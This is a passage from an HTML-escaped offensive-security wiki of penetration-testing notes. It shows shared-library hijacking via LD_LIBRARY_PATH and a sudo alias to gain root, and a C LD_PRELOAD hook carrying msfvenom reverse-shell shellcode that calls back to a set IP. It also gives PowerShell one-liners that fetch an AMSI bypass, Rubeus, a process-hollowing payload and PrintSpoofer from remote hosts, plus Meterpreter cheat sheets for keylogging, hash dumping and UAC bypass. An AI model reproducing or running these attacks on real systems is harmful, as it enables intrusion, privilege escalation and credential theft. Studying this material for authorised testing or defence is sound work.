    // Execute the system command to create a file in /tmp called &amp;quot;haxso.txt.&amp;quot;&lt;br /&gt;
    // This can be used as an indicator that the malicious code was executed.&lt;br /&gt;
    system(&amp;quot;touch /tmp/haxso.txt&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Compiling the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Compile shared library object file:&lt;br /&gt;
&lt;br /&gt;
* Compile the finished shared library file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -o libhax.so hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Identifying the Target Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Determine libraries used by a binary, e.g.,  ​top​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ldd /usr/bin/top&lt;br /&gt;
linux-vdso.so.1 (0x00007ffd135c5000)&lt;br /&gt;
libprocps.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)&lt;br /&gt;
libtinfo.so.5 =&amp;gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)&lt;br /&gt;
libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)&lt;br /&gt;
libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)&lt;br /&gt;
libsystemd.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)&lt;br /&gt;
librt.so.1 =&amp;gt; /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)&lt;br /&gt;
liblzma.so.5 =&amp;gt; /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)&lt;br /&gt;
liblz4.so.1 =&amp;gt; /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)&lt;br /&gt;
libgcrypt.so.20 =&amp;gt; /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)&lt;br /&gt;
libpthread.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)&lt;br /&gt;
libgpg-error.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Preparing for Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Set the environment variable:&lt;br /&gt;
&lt;br /&gt;
* Copy the malicious library to hijack a target:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
cp libhax.so libgpg-error.so.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Identifying Missing Symbols:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract symbols associated with the hijacked library:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print &amp;quot;int&amp;quot;,$8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Add the resulting symbols to your source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
int gpgrt_onclose;&lt;br /&gt;
int _gpgrt_putc_overflow;&lt;br /&gt;
int gpgrt_feof_unlocked;&lt;br /&gt;
int gpgrt_vbsprintf;&lt;br /&gt;
int gpgrt_ungetc;&lt;br /&gt;
---REST OF THE CODE---&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We encountered an error stating we&#039;re missing the symbol &amp;quot;gpgrt_lock_lock&amp;quot; with version GPG_ERROR_1.0. Before our library&#039;s initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn&#039;t have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn&#039;t checking their functionality, just their presence. We can also use the &amp;quot;readelf&amp;quot; tool with the &amp;quot;-s&amp;quot; option to check what components the original library contains.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Overcoming Version Errors:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract just symbol names:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print $8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create a symbol map file, e.g.,  ​gpg.map​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GPG_ERROR_1.0 {    &lt;br /&gt;
gpgrt_onclose;    &lt;br /&gt;
_gpgrt_putc_overflow;    &lt;br /&gt;
...&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Recompile using the symbol map:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Export environment varialbe&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Run the application&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
top&lt;br /&gt;
DLL HIJACKING IN PROGRESS&lt;br /&gt;
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for the file our library was supposed to modify in /tmp.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Privilege Escalation &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Add the alias to the .bashrc:&lt;br /&gt;
&lt;br /&gt;
* Source the .bashrc to load the changes:&lt;br /&gt;
&lt;br /&gt;
* Now, run the top utility with sudo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_LIBRARY_PATH=/home/offsec/ldlib&amp;quot;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
sudo top  &lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges.&lt;br /&gt;
&lt;br /&gt;
=== LD_PRELOAD Exploitation ===&lt;br /&gt;
&lt;br /&gt;
The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries.&lt;br /&gt;
&lt;br /&gt;
==== Reverse shell ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Identifying Potential Applications&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Target applications that the victim frequently uses (e.g.,  ​cp  utility).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Tracing Library Calls&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ ltrace cp&lt;br /&gt;
strrchr(&amp;quot;cp&amp;quot;, &#039;/&#039;) = nil&lt;br /&gt;
...&lt;br /&gt;
geteuid() = 1000&lt;br /&gt;
getenv(&amp;quot;POSIXLY_CORRECT&amp;quot;) = nil&lt;br /&gt;
...&lt;br /&gt;
fflush(0x7f717f0c0680) = 0&lt;br /&gt;
fclose(0x7f717f0c0680) = 0&lt;br /&gt;
+++ exited (status 1) +++&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Creating a Malicious Shared Library&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;: Redefine the  ​geteuid​  function.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Code Sample&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c&lt;br /&gt;
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl&lt;br /&gt;
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c&lt;br /&gt;
unsigned char buf[] =&lt;br /&gt;
&amp;quot;\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48&amp;quot;&lt;br /&gt;
&amp;quot;\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10&amp;quot;&lt;br /&gt;
&amp;quot;\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58&amp;quot;&lt;br /&gt;
&amp;quot;\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f&amp;quot;&lt;br /&gt;
&amp;quot;\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05&amp;quot;;&lt;br /&gt;
uid_t geteuid(void)&lt;br /&gt;
{&lt;br /&gt;
        // Get the address of the original &#039;geteuid&#039; function&lt;br /&gt;
        typeof(geteuid) *old_geteuid;&lt;br /&gt;
        old_geteuid = dlsym(RTLD_NEXT, &amp;quot;geteuid&amp;quot;);&lt;br /&gt;
        // Fork a new thread based on the current one&lt;br /&gt;
        if (fork() == 0)&lt;br /&gt;
        {&lt;br /&gt;
                // Execute shellcode in the new thread&lt;br /&gt;
                intptr_t pagesize = sysconf(_SC_PAGESIZE);&lt;br /&gt;
                // Make memory executable (required in libs)&lt;br /&gt;
                if (mprotect((void *)(((intptr_t)buf) &amp;amp; ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {&lt;br /&gt;
                        // Handle error&lt;br /&gt;
                        perror(&amp;quot;mprotect&amp;quot;);&lt;br /&gt;
                        return -1;&lt;br /&gt;
                }&lt;br /&gt;
                // Cast and execute&lt;br /&gt;
                int (*ret)() = (int(*)())buf;&lt;br /&gt;
                ret();&lt;br /&gt;
        }&lt;br /&gt;
        else&lt;br /&gt;
        {&lt;br /&gt;
                // Original thread, call the original function&lt;br /&gt;
                printf(&amp;quot;[Hijacked] Returning from function...\n&amp;quot;);&lt;br /&gt;
                return (*old_geteuid)();&lt;br /&gt;
        }&lt;br /&gt;
        // This shouldn&#039;t really execute&lt;br /&gt;
        printf(&amp;quot;[Hijacked] Returning from main...\n&amp;quot;);&lt;br /&gt;
        return -2;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c&lt;br /&gt;
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Triggering the Payload&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setup&#039;&#039;&#039;: Prepare a listener for the payload&#039;s callback.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execution without Preload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD and Execution&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Clear LD_PRELOAD&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unset LD_PRELOAD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD with Sudo&#039;&#039;&#039;: Use an alias in  ​.bashrc​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-13.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reload &#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039;.bashrc&#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Now run the command&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /etc/passwd /tmp/passwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-15.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Load Exe in Memory ==&lt;br /&gt;
&lt;br /&gt;
* To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class.&lt;br /&gt;
&lt;br /&gt;
* Below are example of how to run &#039;&#039;&#039;Rubeus.exe &#039;&#039;&#039;in memory and run &#039;&#039;&#039;ProcessHollowing payload&#039;&#039;&#039; in memory and run &#039;&#039;&#039;Mimikatz &#039;&#039;&#039;from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
##  Load Rubeus.exe to memory ##&lt;br /&gt;
# First disable AMSI&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/amsi.txt&#039;) | IEX&lt;br /&gt;
# Download Rubeus into memory&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/Rubeus.exe&#039;)&lt;br /&gt;
# Load it as an assembly&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
# Invoke a function&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;purge&amp;quot;.Split())&lt;br /&gt;
# Examples&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt&amp;quot;.Split())&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt&amp;quot;.Split())&lt;br /&gt;
# One liner&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.49.79/Rubeus.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main(&amp;quot;hash /password:Password123&amp;quot;.Split())&lt;br /&gt;
&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Run ProcessHollowing in memory ##&lt;br /&gt;
# Where Proc_hol is the namespace, and Program is the class.&lt;br /&gt;
$data2 = (New-Object System.Net.WebClient).DownloadData(&#039;http://92.221.186.47/proc_hol.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main(&amp;quot;&amp;quot;.Split())&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Using Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
# See OneNote for correct version.&lt;br /&gt;
# Load PrintSpoofer in memory&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://example.com/Invoke-ReflectivePEInjection.ps1&#039;) | IEX&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://example.com/PrintSpoofer.exe&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs &amp;quot;-i -c cmd&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Metasploit Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@tanseejou97/tryhackme-metasploit-meterpreter-walkthrough-17e5bd9c0dc7#:~:text=POST-exploitation%20with%20Meterpreter%201%20Migrate%20migrate%20%5BPID%20of,locate%20files%20with%20potentially%20juice%20information.%204%20Shell [TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium]&lt;br /&gt;
&lt;br /&gt;
=== Metasploit Unleashed ===&lt;br /&gt;
&lt;br /&gt;
[https://www.offsec.com/metasploit-unleashed/ Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec]&lt;br /&gt;
&lt;br /&gt;
== Running Metasploit as a Daemon ==&lt;br /&gt;
&lt;br /&gt;
To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfd&lt;br /&gt;
[*] Initializing msfd...&lt;br /&gt;
[*] Running msfd...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To connect to the daemon, use netcat like the following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/]&lt;br /&gt;
└─# nc 127.0.0.1 55554&lt;br /&gt;
  Metasploit Park, System Security Interface&lt;br /&gt;
  Version 4.0.5, Alpha E&lt;br /&gt;
  Ready...&lt;br /&gt;
  &amp;gt; access security&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access security grid&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access main security grid&lt;br /&gt;
  access: PERMISSION DENIED....and...&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
&lt;br /&gt;
       =[ metasploit v6.3.41-dev                          ]&lt;br /&gt;
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post       ]&lt;br /&gt;
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]&lt;br /&gt;
+ -- --=[ 9 evasion                                       ]&lt;br /&gt;
Metasploit Documentation: https://docs.metasploit.com/&lt;br /&gt;
[*] Starting persistent handler(s)...&lt;br /&gt;
msf6 &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter MindMap ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Windows-Meterpreter][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Commands ===&lt;br /&gt;
&lt;br /&gt;
* Source: [https://sergio-f20-notes.gitbook.io/hacking/8.-tunneling/c2-command-and-control/metasploit/meterpreter-commands Meterpreter Commands - Hacking (gitbook.io)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basics&lt;br /&gt;
help --&amp;gt; List available commands&lt;br /&gt;
sysinfo --&amp;gt; Displays system  info&lt;br /&gt;
getuid --&amp;gt; List current session owner&lt;br /&gt;
sessions -i 2 --&amp;gt; Change to session 2&lt;br /&gt;
shell --&amp;gt; Drop to interactive shell&lt;br /&gt;
channel -i 1 --&amp;gt; Change to shell in channel 1&lt;br /&gt;
background --&amp;gt; Background session to interact with msfconsole&lt;br /&gt;
upload {local path} {victim path} --&amp;gt; Upload a file&lt;br /&gt;
download {path} --&amp;gt; Download file&lt;br /&gt;
reg {Command} --&amp;gt; Interacts with registry (reg by itself will list syntax)&lt;br /&gt;
execute -f cmd.exe -i --&amp;gt; Execute cmd.exe and interact&lt;br /&gt;
execute -f cmd.exe -i -H -t --&amp;gt; Execute cmd as hidden process and with all tokens&lt;br /&gt;
# Powershell&lt;br /&gt;
load powershell&lt;br /&gt;
powershell_execute --&amp;gt; Execute a PowerShell statement, including complex-statements separated by semicolons&lt;br /&gt;
powershell_import --&amp;gt; Import a local PowerShell script to execute on the remote system over the Meterpreter channel&lt;br /&gt;
powershell_shell --&amp;gt; Launch an interactive PowerShell shell&lt;br /&gt;
powershell_session_remove --&amp;gt; Used to remove a PowerShell session when created using execute/import/shell with the -s argument&lt;br /&gt;
# Host Reconnaissance&lt;br /&gt;
# List running processes on a system&lt;br /&gt;
ps --&amp;gt; List processes&lt;br /&gt;
getpid --&amp;gt; List current PID&lt;br /&gt;
migrate {PID} --&amp;gt; Migrate to anothe PID&lt;br /&gt;
post/windows/manage/migrate --&amp;gt; Make meterpreter migrate to another process.&lt;br /&gt;
run service_manager -l --&amp;gt; Lists running services on Windows.&lt;br /&gt;
If we are against a non-interactive logon in which the explorer.exe process does not exist, we can create a hidden instance of notepad and migrate into it:&lt;br /&gt;
execute -H -f notepad&lt;br /&gt;
migrate {PID}&lt;br /&gt;
# Screenshots&lt;br /&gt;
screengrab --&amp;gt; Run plugin to capture screenshot of user session&lt;br /&gt;
# Keylogger&lt;br /&gt;
keyscan_start --&amp;gt; Start keylogger&lt;br /&gt;
keyscan_stop --&amp;gt; Stop keylogger&lt;br /&gt;
keyscan_dump --&amp;gt; Dump keylogger&lt;br /&gt;
# Privilege Escalation&lt;br /&gt;
getsystem --&amp;gt; Attempts to elevate privileges.&lt;br /&gt;
post/windows/gather/win_privs --&amp;gt; Determine privilege information.&lt;br /&gt;
exploit/windows/local/bypassuac_vbs --&amp;gt; Attempts to bypass UAC in order to escalate privileges.&lt;br /&gt;
windows/local/bypassuac_fodhelper --&amp;gt; Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Post-Explotation with Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;help&amp;lt;/code&amp;gt;: List available commands.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Migrate&#039;&#039;&#039;: Migrate to another process with &amp;lt;code&amp;gt;migrate [PID]&amp;lt;/code&amp;gt;.&lt;br /&gt;
Used for: keystroke capturing (&amp;lt;code&amp;gt;keyscan_start&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_stop&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_dump&amp;lt;/code&amp;gt;) and ensuring session stability.&lt;br /&gt;
&lt;br /&gt;
* Caution: Migrating may lead to privilege loss.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Hashdump&#039;&#039;&#039;: Dump the SAM database containing NTLM-formatted passwords with &amp;lt;code&amp;gt;hashdump&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Search&#039;&#039;&#039;: Find files, e.g., &amp;lt;code&amp;gt;search -f flag2.txt&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shell&#039;&#039;&#039;: Launch command shell on the target with &amp;lt;code&amp;gt;shell&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;search smb/psexec&amp;lt;/code&amp;gt; to search for a module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;use [id]&amp;lt;/code&amp;gt; to use the module.&lt;br /&gt;
&lt;br /&gt;
* Set required fields using &amp;lt;code&amp;gt;set&amp;lt;/code&amp;gt; (e.g., &amp;lt;code&amp;gt;set RHOSTS [target-machine-ip]&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
* Confirm settings with &amp;lt;code&amp;gt;show options&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;run&amp;lt;/code&amp;gt; to start the exploit.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Extensions ===&lt;br /&gt;
&lt;br /&gt;
